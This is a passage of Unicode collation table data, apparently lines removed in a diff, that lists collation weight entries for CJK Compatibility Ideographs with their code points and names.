-FA31 ; [.3BFE.0023.0002.50E7][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA31 -2F80A ; [.3BFE.0023.0002.50E7][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80A -FA0C ; [.3C00.0021.0002.5140][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0C -FA74 ; [.3C03.0021.0002.5145][.3C80.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA74 -FA32 ; [.3BFB.0021.0002.514D][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA32 -2F80E ; [.3BFB.0021.0002.514D][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80E -2F814 ; [.3BF7.0022.0002.5167][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F814 -FA72 ; [.3C01.0024.0002.5168][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA72 -F978 ; [.3BFA.0023.0002.5169][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F978 -F9D1 ; [.3BFA.0021.0002.516D][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D1 -2F811 ; [.3BF5.0026.0002.5177][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F811 -FA75 ; [.3BF5.0024.0002.5180][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA75 -2F815 ; [.3C01.0021.0002.518D][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F815 -2F8D2 ; [.3BFB.0022.0002.5192][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D2 -2F8D3 ; [.3BFB.0022.0002.5195][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D3 -2F817 ; [.3C00.0023.0002.5197][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F817 -2F818 ; [.3C00.003B.0002.51A4][.3C81.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F818 -2F81A ; [.3BF8.0022.0002.51AC][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81A -F92E ; [.3BFA.0021.0002.51B7][.3C74.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92E -F979 ; [.3BFA.0024.0002.51C9][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F979 -F955 ; [.3BFA.0021.0002.51CC][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F955 -F954 ; [.3BFA.0021.0002.51DC][.3C85.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F954 -FA15 ; [.3C07.0022.0002.51DE][.3C86.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA15 -2F81E ; [.3C00.0023.0002.5203][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81E -FA00 ; [.3C01.0021.0002.5207][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA00 -2F850 ; [.3C01.0021.0002.5207][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F850 -F99C ; [.3BFA.0022.0002.5217][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99C -F9DD ; [.3BFA.0022.0002.5229][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DD -F9FF ; [.3C01.0022.0002.523A][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FF -2F820 ; [.3BF5.0021.0002.523B][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F820 -2F822 ; [.3C07.0021.0002.5272][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F822 -2F823 ; [.3BFE.002D.0002.5277][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F823 -F9C7 ; [.3BFA.0021.0002.5289][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C7 -F98A ; [.3BFA.0021.0002.529B][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98A -F99D ; [.3BFA.0023.0002.52A3][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99D -FA76 ; [.3C00.0024.0002.52C7][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA76 -2F825 ; [.3C00.0024.0002.52C7][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F825 -FA33 ; [.3BFB.0023.0002.52C9][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA33 -2F826 ; [.3BFB.0023.0002.52C9][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F826 -F952 ; [.3BFA.0021.0002.52D2][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F952 -F92F ; [.3BFA.0021.0002.52DE][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92F -FA34 ; [.3BF5.0023.0002.52E4][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA34 -2F827 ; [.3BF5.0023.0002.52E4][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F827 -F97F ; [.3BFA.0023.0002.52F5][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97F -FA77 ; [.3C01.0022.0002.52FA][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA77 -2F828 ; [.3C01.0022.0002.52FA][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F828 -2F829 ; [.3C06.0022.0002.5305][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F829 -F963 ; [.3BFC.0021.0002.5317][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F963 -2F82B ; [.3BFC.0021.0002.5317][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82B -F9EB ; [.3BF7.0021.0002.533F][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EB -2F82C ; [.3C07.0021.0002.5349][.3C82.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82C -FA35 ; [.3BFC.0025.0002.5351][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA35 -2F82D ; [.3BFC.0025.0002.5351][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82D -2F82E ; [.3BFC.0022.0002.535A][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82E -2F82F ; [.3C01.0022.0002.5373][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82F -F91C ; [.3BFA.0022.0002.5375][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91C -2F830 ; [.3C01.0021.0002.537D][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F830 -2F831 ; [.3BF5.0028.0002.537F][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F831 -2F832 ; [.3BF5.0028.0002.537F][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F832 -2F833 ; [.3BF5.0028.0002.537F][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F833 -F96B ; [.3C03.0022.0002.53C3][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96B -2F836 ; [.3BF5.0022.0002.53CA][.3C85.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F836 -2F837 ; [.3BFE.005E.0002.53DF][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F837 -F906 ; [.3BF5.002A.0002.53E5][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F906 -2F839 ; [.3BF5.0021.0002.53EB][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F839 -2F83A ; [.3C01.0022.0002.53F1][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83A -F9DE ; [.3BFA.0024.0002.540F][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DE -F9ED ; [.3BFA.0021.0002.541D][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9ED -2F83D ; [.3C07.0021.0002.5438][.3C85.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83D -F980 ; [.3BFA.0024.0002.5442][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F980 -2F83E ; [.3C01.0026.0002.5448][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83E -2F83F ; [.3C01.0028.0002.5468][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83F -2F840 ; [.3C00.0031.0002.54A2][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F840 -F99E ; [.3C00.0025.0002.54BD][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99E -2F842 ; [.3BF8.0021.0002.5510][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F842 -2F843 ; [.3BF5.0022.0002.5553][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F843 -2F844 ; [.3C07.0024.0002.5563][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F844 -2F845 ; [.3BFE.0024.0002.5584][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F845 -2F846 ; [.3BFE.0024.0002.5584][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F846 -F90B ; [.3BFA.0021.0002.5587][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90B -FA7A ; [.3C07.0022.0002.5599][.3C82.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7A -2F847 ; [.3C07.0022.0002.5599][.3C82.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F847 -FA36 ; [.3BF5.0022.0002.559D][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA36 -FA78 ; [.3BF5.0022.0002.559D][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA78 -2F848 ; [.3BF6.0021.0002.55AB][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F848 -FA7B ; [.3C00.0022.0002.55E2][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7B -FA37 ; [.3C05.0022.0002.5606][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA37 -2F84C ; [.3C05.0022.0002.5606][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84C -FA38 ; [.3BF5.0026.0002.5668][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA38 -2F84F ; [.3BFC.0023.0002.5674][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84F -F9A9 ; [.3BFA.0023.0002.56F9][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A9 -2F84B ; [.3BF8.0024.0002.5716][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84B -2F855 ; [.3C07.0024.0002.578B][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F855 -2F852 ; [.3BFE.0021.0002.57CE][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F852 -2F853 ; [.3BFE.0021.0002.57F4][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F853 -2F857 ; [.3BFC.0023.0002.5831][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F857 -FA39 ; [.3BFC.0033.0002.5840][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA39 -FA10 ; [.3C03.0022.0002.585A][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA10 -FA7C ; [.3C03.0022.0002.585A][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7C -F96C ; [.3BFE.0021.0002.585E][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96C -FA3A ; [.3BFB.0021.0002.58A8][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3A -FA7D ; [.3BFC.0024.0002.58B3][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7D -F94A ; [.3BFA.0021.0002.58D8][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94A -F942 ; [.3BFA.0021.0002.58DF][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F942 -2F85C ; [.3BFC.0032.0002.5906][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85C -2F85D ; [.3BF8.0021.0002.591A][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85D -2F85E ; [.3BFB.0021.0002.5922][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85E -FA7E ; [.3C00.0024.0002.5944][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7E -F90C ; [.3BF7.0023.0002.5948][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90C -F909 ; [.3BF5.0024.0002.5951][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F909 -FA7F ; [.3BFC.0025.0002.5954][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7F -2F85F ; [.3BFE.0030.0002.5962][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85F -F981 ; [.3BF7.0021.0002.5973][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F981 -2F862 ; [.3C07.0026.0002.59EC][.3C86.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F862 -2F863 ; [.3C00.002C.0002.5A1B][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F863 -2F864 ; [.3C05.0030.0002.5A27][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F864 -FA80 ; [.3BFC.0027.0002.5A62][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA80 -2F866 ; [.3BFC.002B.0002.5A66][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F866 -2F986 ; [.3C00.0025.0002.5AB5][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F986 -2F869 ; [.3C00.0041.0002.5B08][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F869 -FA81 ; [.3C01.003C.0002.5B28][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA81 -2F86A ; [.3BFA.0029.0002.5B3E][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86A -2F86B ; [.3BFA.0029.0002.5B3E][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86B -FA04 ; [.3BF8.0021.0002.5B85][.3C74.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA04 -2F86D ; [.3C00.0029.0002.5BC3][.3C81.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86D -2F86E ; [.3C03.003B.0002.5BD8][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86E -F95F ; [.3BF7.0021.0002.5BE7][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95F -F9AA ; [.3BF7.0021.0002.5BE7][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AA -2F86F ; [.3BF7.0021.0002.5BE7][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86F -F9BC ; [.3BFA.0023.0002.5BEE][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BC -F9BD ; [.3BF7.0021.0002.5C3F][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BD -2F877 ; [.3BF8.0028.0002.5C60][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F877 -F94B ; [.3BFA.0023.0002.5C62][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94B -FA3B ; [.3C03.0021.0002.5C64][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3B -F9DF ; [.3BFA.0026.0002.5C65][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DF -2F879 ; [.3BFE.002A.0002.5CC0][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F879 -F9D5 ; [.3BFA.0023.0002.5D19][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D5 -F921 ; [.3BFA.0021.0002.5D50][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F921 -F9AB ; [.3BFA.0025.0002.5DBA][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AB -2F881 ; [.3BFE.0021.0002.5DE1][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F881 -2F882 ; [.3BFE.0027.0002.5DE2][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F882 -2F884 ; [.3BFE.0022.0002.5DFD][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F884 -2F885 ; [.3BFE.0029.0002.5E28][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F885 -2F886 ; [.3BFB.0025.0002.5E3D][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F886 -F98E ; [.3BF7.0021.0002.5E74][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98E -FA01 ; [.3BF8.002B.0002.5EA6][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA01 -2F88C ; [.3BFC.0052.0002.5EB3][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88C -2F88D ; [.3BFE.0025.0002.5EB6][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88D -F9A2 ; [.3BFA.0021.0002.5EC9][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A2 -F928 ; [.3BFA.0021.0002.5ECA][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F928 -2F88E ; [.3BFA.0021.0002.5ECA][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88E -FA0B ; [.3BF5.0021.0002.5ED3][.3C7C.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0B -F982 ; [.3BFA.0025.0002.5EEC][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F982 -F943 ; [.3BFA.0022.0002.5F04][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F943 -2F894 ; [.3BF8.004B.0002.5F22][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F894 -2F895 ; [.3BF8.004B.0002.5F22][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F895 -2F899 ; [.3C07.0025.0002.5F62][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F899 -FA84 ; [.3C03.0025.0002.5F69][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA84 -2F89A ; [.3C01.0027.0002.5F6B][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89A -F9D8 ; [.3BFA.0021.0002.5F8B][.3C84.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D8 -F966 ; [.3BFC.0026.0002.5FA9][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F966 -FA85 ; [.3C00.0043.0002.5FAD][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA85 -2F89D ; [.3C00.002A.0002.5FCD][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89D -2F89E ; [.3C01.0026.0002.5FD7][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89E -F9A3 ; [.3BF7.0021.0002.5FF5][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A3 -F960 ; [.3BF7.0024.0002.6012][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F960 -F9AC ; [.3BFA.0026.0002.601C][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AC -2F8A0 ; [.3C00.0042.0002.6081][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A0 -FA3D ; [.3C07.0026.0002.6094][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3D -2F8A3 ; [.3C07.0026.0002.6094][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A3 -2F8A5 ; [.3BF8.0022.0002.60C7][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A5 -FA86 ; [.3BFB.002D.0002.60D8][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA86 -F9B9 ; [.3C00.0025.0002.60E1][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B9 -FA88 ; [.3C00.002E.0002.6108][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA88 -F9D9 ; [.3BFA.0022.0002.6144][.3C84.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D9 -2F8A6 ; [.3C01.002A.0002.6148][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A6 -2F8A7 ; [.3C07.0027.0002.614C][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A7 -2F8A9 ; [.3C07.0027.0002.614C][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A9 -FA8A ; [.3C00.0047.0002.6160][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8A -FA3E ; [.3BF5.0028.0002.6168][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3E -2F8AA ; [.3BFA.0031.0002.617A][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AA -FA3F ; [.3C01.0022.0002.618E][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3F -FA89 ; [.3C01.0022.0002.618E][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA89 -2F8AB ; [.3C01.0022.0002.618E][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AB -F98F ; [.3BFA.0021.0002.6190][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98F -2F8AD ; [.3BFC.0028.0002.61A4][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AD -2F8AE ; [.3C03.0030.0002.61AF][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AE -2F8AC ; [.3C07.0021.0002.61B2][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AC -2F8AF ; [.3BFB.0025.0002.61DE][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AF -FA40 ; [.3C01.0022.0002.61F2][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA40 -FA8B ; [.3C01.0022.0002.61F2][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8B -2F8B0 ; [.3C01.0022.0002.61F2][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B0 -F90D ; [.3BFA.0022.0002.61F6][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90D -2F8B1 ; [.3BFA.0022.0002.61F6][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B1 -F990 ; [.3BFA.0022.0002.6200][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F990 -2F8B2 ; [.3BFE.0026.0002.6210][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B2 -F9D2 ; [.3BFA.0022.0002.622E][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D2 -FA8C ; [.3BF8.0029.0002.6234][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8C -2F8B5 ; [.3C06.002B.0002.62B1][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B5 -F925 ; [.3BFA.0021.0002.62C9][.3C73.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F925 -F95B ; [.3BF7.0024.0002.62CF][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95B -FA02 ; [.3C03.0026.0002.62D3][.3C77.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA02 -2F8B6 ; [.3BFC.0022.0002.62D4][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B6 -F973 ; [.3BFE.0022.0002.62FE][.3C85.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F973 -2F8B9 ; [.3BFB.0027.0002.633D][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B9 -2F8B7 ; [.3C00.0027.0002.6350][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B7 -2F8BB ; [.3BFE.0039.0002.6368][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BB -F9A4 ; [.3BF7.0024.0002.637B][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A4 -2F8BC ; [.3BFE.0029.0002.6383][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BC -F975 ; [.3BFA.0021.0002.63A0][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F975 -2F8C1 ; [.3C00.0025.0002.63A9][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C1 -FA8D ; [.3C00.0030.0002.63C4][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8D -FA8E ; [.3BFE.0030.0002.641C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8E -2F8BF ; [.3C01.0025.0002.6422][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BF -2F8C3 ; [.3BFB.0021.0002.6469][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C3 -F991 ; [.3BF7.0022.0002.649A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F991 -2F8C5 ; [.3C07.0029.0002.649D][.3C83.0020.0002] # CJK COMPATIBILITY 